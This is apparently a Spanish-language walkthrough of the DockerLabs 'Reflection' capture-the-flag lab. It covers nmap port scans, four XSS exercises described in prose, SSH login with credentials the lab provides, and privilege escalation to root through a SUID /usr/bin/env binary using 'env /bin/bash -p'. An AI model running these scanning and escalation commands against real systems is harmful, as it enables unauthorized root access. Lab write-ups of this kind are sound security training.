DockerLabs - Reflection
nmap
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ nmap -sCV -p22,80 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 89:6c:a5:af:d5:e2:83:6c:f9:87:33:44:0f:78:48:3a (ECDSA)
|_ 256 65:32:42:95:ca:d0:53:bb:28:a5:15:4a:9c:14:64:5b (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Laboratorio de Cross-Site Scripting (XSS)
|_http-server-header: Apache/2.4.62 (Debian)
explotación de laboratorios XSS
En este laboratorio nos encontramos que lo primero que debemos completar son 4 sub-laboratorios que tratan distintos tipos de XXS (Cross-Site Scripting):
sub-laboratorio 1
El primer sub-laboratorio trata el caso de un XSS reflejado, donde lo que introduzcamos en un campo se ve reflejado en otro, haciendo que si no se ha sanitizado correctamente el input del usuario, de pueda acontecer este tipo de vulnerabilidades:
sub-laboratorio 2
El segundo sub-laboratorio aborda el caso de los XSS en los que el payload no es necesario que viaje en cada petición, ya que el servidor cuenta con una funcionalidad que guarda dicho payload en la página, haciendo que cualquier usuario que acceda a esta funcionalidad se vea afectado por esta vulnerabilidad:
sub-laboratorio 3
El tercer sub-laboratorio nos habla sobre los casos en los que, interceptando una solicitud, llegamos a poder modificar el valor indicado en los desplegables, haciendo que, si lo que hemos seleccionado se ve reflejado en la página, podemos llegar a explotar esta vulnerabilidad:
sub-laboratorio 4
El cuarto sub-laboratorio nos comenta que lo que indiquemos en la URL en el parámetro ?data= se verá reflejado en la respuesta, haciendo que el payload viaje en la URL en las peticiones GET:
acceso inicial (balu)
Tras completar los laboratorios, accedemos por SSH con las credenciales que nos facilitan:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ ssh balu@172.17.0.2
balu@172.17.0.2's password:
balu@7e89bfc0249e:~$ whoami
balu
balu@7e89bfc0249e:~$ hostname -I
172.17.0.2
escalada de privilegios (root)
Una vez dentro, comprobamos que el binario /usr/bin/env tiene permisos SUID:
1
2
3
4
5
6
7
8
9
10
11
12
13
balu@7e89bfc0249e:~$ find / -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/su
/usr/bin/umount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/env
/usr/bin/mount
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Vemos en GTFOBins que podemos aprovecharnos de esta configuración para poder obtener una consola como el usuario root:
Tras ejecutar el comando que nos indican, vemos que nos hemos convertido en root:
1
2
3
balu@7e89bfc0249e:~$ env /bin/bash -p
bash-5.2# whoami
root
